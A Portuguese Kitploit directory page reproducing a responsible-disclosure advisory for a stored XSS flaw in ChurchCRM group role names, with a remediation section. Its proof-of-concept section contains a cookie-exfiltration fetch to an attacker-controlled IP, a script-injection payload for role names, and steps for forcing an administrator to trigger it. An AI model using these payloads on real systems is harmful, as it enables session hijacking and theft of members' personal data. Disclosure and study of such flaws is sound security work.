Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/lukasz-rybak/cve-2025-67876
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHublukasz-rybak/cve-2025-67876

CVE-2025-67876

Prova de conceito detalhada da CVE-2025-67876 demonstrando XSS armazenado em nomes de funções de grupos no ChurchCRM, levando ao sequestro de sessão de administrador, com guia completo de exploração e recomendações de remediação.

Ver Repositório
2há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-67876: ChurchCRM tem XSS armazenado no nome de função de grupo que leva ao sequestro de sessão de administrador

Visão Geral

CampoDetalhes
ID do CVECVE-2025-67876
GravidadeCRÍTICO
ComunicadoVer Comunicado
Descoberto porLukasz Rybak

Produtos Afetados

  • ChurchCRM/CRM

Detalhes

Resumo

Existe uma vulnerabilidade de cross-site scripting (XSS) armazenado no ChurchCRM que permite a um usuário com privilégios baixos e com a permissão “Gerenciar Grupos” injetar JavaScript persistente em nomes de funções de grupo. O payload é salvo no banco de dados e executado sempre que qualquer usuário (incluindo administradores) visualiza uma página que exiba essa função, como GroupView.php ou PersonView.php. Isso permite o sequestro total da sessão e a tomada de conta.

Detalhes

A causa raiz é a falta de validação de entrada e codificação de saída no tratamento dos nomes de funções de grupo.

Ao editar um grupo em GroupEditor.php, o usuário pode modificar os nomes das funções. A aplicação não sanitiza a entrada (por exemplo, sem strip_tags, htmlspecialchars ou validação no servidor). O valor é armazenado na tabela list_lst do banco de dados.

Posteriormente, o valor armazenado é injetado diretamente no HTML sem escape:

  • Em GroupView.php, as funções do grupo aparecem dentro de células de tabela envolvidas em .
  • Em PersonView.php, as funções atribuídas ao usuário são exibidas em “Grupos Atribuídos”. Como nenhum escape é aplicado, qualquer HTML ou JavaScript armazenado no nome da função é executado no navegador da vítima.

Um usuário com privilégios baixos (com Gerenciar Grupos) pode, portanto, elevar privilégios até administrador total ao injetar JavaScript em uma função e atribuir essa função a um administrador.

PoC

Fase 1 - Configuração do atacante

Crie o arquivo x.js na máquina controlada pelo atacante:

fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));

Sirva o arquivo:

python3 -m http.server 800

Fase 2 - Injetar o payload de XSS

  1. Faça login como um usuário com a permissão Gerenciar Grupos.

    imagem
  2. Navegue até: Grupos → Listar Grupos → selecione qualquer grupo → Configurações.

  3. Na seção “Funções do Grupo”, edite uma função existente ou crie uma nova.

  4. Insira o payload malicioso:

"><script src=//172.20.0.1:800/x.js></script>

imagem

Na lista de Funções do Grupo, clique em Padrão ao lado da função que contém o payload de XSS injetado. Isso garante que a função maliciosa seja atribuída automaticamente a qualquer usuário adicionado ao grupo, aumentando a probabilidade de um administrador acionar o XSS ao visualizar seu perfil. imagem Clique em Excluir ao lado da função padrão anterior, normalmente “Membro”. Remover a função padrão limpa força o sistema a usar a função injetada com XSS em todas as atribuições futuras, garantindo a execução quando a vítima visualizar qualquer página que exiba sua função atribuída. imagem

  1. Salve o nome da função. imagem

Fase 3 - Atribuir a função maliciosa a uma vítima

  1. Vá para a página de Visualização do Grupo.

  2. Adicione qualquer usuário como membro do grupo (por exemplo, Church Admin).

    imagem
  3. Selecione a função maliciosa no menu suspenso.

  4. Salve a atribuição.

    imagem

Fase 4 - Execução do XSS

Quando a vítima (administrador) visitar:

  • O perfil de usuário da vítima: PersonView.php

    imagem
  • A página de visualização do grupo: GroupView.php

O JavaScript armazenado é executado imediatamente.

No servidor do atacante, as requisições recebidas aparecerão: imagem

imagem

Isso confirma a tomada de conta bem-sucedida.

Impacto

  • XSS armazenado
  • Sequestro total da sessão de administrador
  • Escalonamento de privilégios de usuário com poucas permissões para administrador total do sistema
  • Exposição de todos os dados pessoais sensíveis armazenados no ChurchCRM

CWE

CWE-79: Neutralização incorreta de entrada durante a geração de páginas da web ('Cross-site Scripting')

Recomendação

  • Implemente a codificação de saída (htmlspecialchars) para todas as renderizações de nomes de funções.
  • Valide e sanitize os nomes de funções no lado do servidor.
  • Revise outros campos editáveis baseados em listas para vulnerabilidades semelhantes.
  • Considere o uso de uma biblioteca central de escape ou de um mecanismo de templates.

Referências

  • https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh

Aviso Legal

Este CVE foi divulgado de forma responsável, seguindo as práticas de divulgação coordenada de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.

Baixar ferramenta